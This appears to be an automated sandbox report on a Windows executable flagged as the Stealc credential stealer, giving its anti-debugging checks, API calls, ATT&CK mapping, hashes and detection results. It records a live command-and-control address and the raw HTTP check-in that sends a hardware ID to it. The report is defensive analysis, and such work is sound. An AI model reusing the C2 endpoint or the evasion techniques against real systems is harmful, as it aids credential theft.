Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001B45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001B45C0

Source: C:\Users\user\Desktop\file.exe

0_2_001C9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C9750 mov eax, dword ptr fs:[00000030h]

0_2_001C9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001C7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4480, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001C9600

Source: file.exe, file.exe, 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: M/Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_001C7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_001C6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001C7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_001C7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2029533452.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4480, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2029533452.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4480, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpt5b	file.exe, 00000000.00000002.2074713980.0000000000F41000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.378	file.exe, 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php)	file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phph	file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php7	file.exe, 00000000.00000002.2074713980.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538175
Start date and time:	2024-10-20 18:12:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947964898540884
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'869'824 bytes
MD5:	ffb497d86a175802a94beb58ef45bcbf
SHA1:	16e0858579f97e8efaf3adc83eb9c445848f2c81
SHA256:	fecb47b6a0108dd26752fed4b29cf8f4d2b8833e07a2b7300e9fbe3047763d4d
SHA512:	f65ba34f4500dcb2ac68d7f87ab8fddf796214dba26a00c94e58fac1e075181df332862d77e0b0580cf403cb97bf88871e26f7738e1b62f9e9d64cba231f3e74
SSDEEP:	24576:/QRGcv882kYDimLE5JwzBRUYYDDaF0eYl7cf4tGFxcro19iVWuKQycMUV2J3TVu2:/61rmLqJkVYDqB2cQLciVWuKQycnkD
TLSH:	7485337001AF3A72E6A1DD3F1ACF1E9A5AF45FE1B9C2EAC84469CE4094D466BC64C074
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2398B38D8Ah
pcmpgtd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F2398B3AD85h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	3e2ca9e7db4c07aeabc305e79f1a7483	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a8000	0x200	f3551077d7e06023a0c25bb281ba0501	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qluozxrq	0x506000	0x1a3000	0x1a2600	7a1c6939b19d203263e5f964ac4db5e5	False	0.9947801902823424	data	7.954062792540728	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pbwitchi	0x6a9000	0x1000	0x400	6bd5d3d8d9ab77b04d4a5fa285001dc9	False	0.7978515625	data	6.187769288853959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6aa000	0x3000	0x2200	cd1cb53ee2a0c9b3ed4f6a7ef7e0b827	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T18:13:03.918563+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 18:13:02.378359079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 18:13:02.383368015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 18:13:02.383440018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 18:13:02.385953903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 18:13:02.390872002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 18:13:03.541081905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 18:13:03.541276932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 18:13:03.553634882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 18:13:03.558427095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 18:13:03.918371916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 18:13:03.918562889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 18:13:06.720499039 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	4480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 18:13:02.385953903 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 18:13:03.541081905 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 16:13:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 18:13:03.553634882 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFID Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 45 46 35 36 43 37 46 41 33 43 32 30 30 32 32 39 35 36 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="hwid"49EF56C7FA3C2002295620------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="build"doma------IIJKJDAFHJDHIEBGCFID--
Oct 20, 2024 18:13:03.918371916 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 16:13:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	12:12:59
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1b0000
File size:	1'869'824 bytes
MD5 hash:	FFB497D86A175802A94BEB58EF45BCBF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2029533452.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2074713980.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 001C9860 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00EE0590), ref: 001C98A1
GetProcAddress.KERNEL32(75900000,00EE0608), ref: 001C98BA
GetProcAddress.KERNEL32(75900000,00EE0668), ref: 001C98D2
GetProcAddress.KERNEL32(75900000,00EE05A8), ref: 001C98EA
GetProcAddress.KERNEL32(75900000,00EE0728), ref: 001C9903
GetProcAddress.KERNEL32(75900000,00EE8B48), ref: 001C991B
GetProcAddress.KERNEL32(75900000,00ED53E8), ref: 001C9933
GetProcAddress.KERNEL32(75900000,00ED5348), ref: 001C994C
GetProcAddress.KERNEL32(75900000,00EE0770), ref: 001C9964
GetProcAddress.KERNEL32(75900000,00EE05C0), ref: 001C997C
GetProcAddress.KERNEL32(75900000,00EE07E8), ref: 001C9995
GetProcAddress.KERNEL32(75900000,00EE05D8), ref: 001C99AD
GetProcAddress.KERNEL32(75900000,00ED5388), ref: 001C99C5
GetProcAddress.KERNEL32(75900000,00EE0680), ref: 001C99DE
GetProcAddress.KERNEL32(75900000,00EE05F0), ref: 001C99F6
GetProcAddress.KERNEL32(75900000,00ED52C8), ref: 001C9A0E
GetProcAddress.KERNEL32(75900000,00EE0698), ref: 001C9A27
GetProcAddress.KERNEL32(75900000,00EE0638), ref: 001C9A3F
GetProcAddress.KERNEL32(75900000,00ED5308), ref: 001C9A57
GetProcAddress.KERNEL32(75900000,00EE06B0), ref: 001C9A70
GetProcAddress.KERNEL32(75900000,00ED5208), ref: 001C9A88
LoadLibraryA.KERNEL32(00EE0710,?,001C6A00), ref: 001C9A9A
LoadLibraryA.KERNEL32(00EE06C8,?,001C6A00), ref: 001C9AAB
LoadLibraryA.KERNEL32(00EE06E0,?,001C6A00), ref: 001C9ABD
LoadLibraryA.KERNEL32(00EE07A0,?,001C6A00), ref: 001C9ACF
LoadLibraryA.KERNEL32(00EE0620,?,001C6A00), ref: 001C9AE0
GetProcAddress.KERNEL32(75070000,00EE07B8), ref: 001C9B02
GetProcAddress.KERNEL32(75FD0000,00EE07D0), ref: 001C9B23
GetProcAddress.KERNEL32(75FD0000,00EE8EE8), ref: 001C9B3B
GetProcAddress.KERNEL32(75A50000,00EE8F30), ref: 001C9B5D
GetProcAddress.KERNEL32(74E50000,00ED5248), ref: 001C9B7E
GetProcAddress.KERNEL32(76E80000,00EE8AD8), ref: 001C9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 001C9BB6

Strings

S, xrefs: 001C9926
NtQueryInformationProcess, xrefs: 001C9BAA
HS, xrefs: 001C993E
HR, xrefs: 001C9B71

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HR$HS$NtQueryInformationProcess$S
API String ID: 2238633743-3386072519
Opcode ID: 7ee4707fb22997789634f4d4d4bf703c289d0c055fd189f09e60ed0bf104c70b
Instruction ID: 59da3e1e7c2c722c766be74a9a198a70ab294529f9a4a0f8879701d3f6512987
Opcode Fuzzy Hash: 7ee4707fb22997789634f4d4d4bf703c289d0c055fd189f09e60ed0bf104c70b
Instruction Fuzzy Hash: B0A166F5600A01AFC346EBA9ED88E723BFDE748381F04851AE60DC3324D779A845DB12

Function 001B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 001B460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 001B479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B46D8
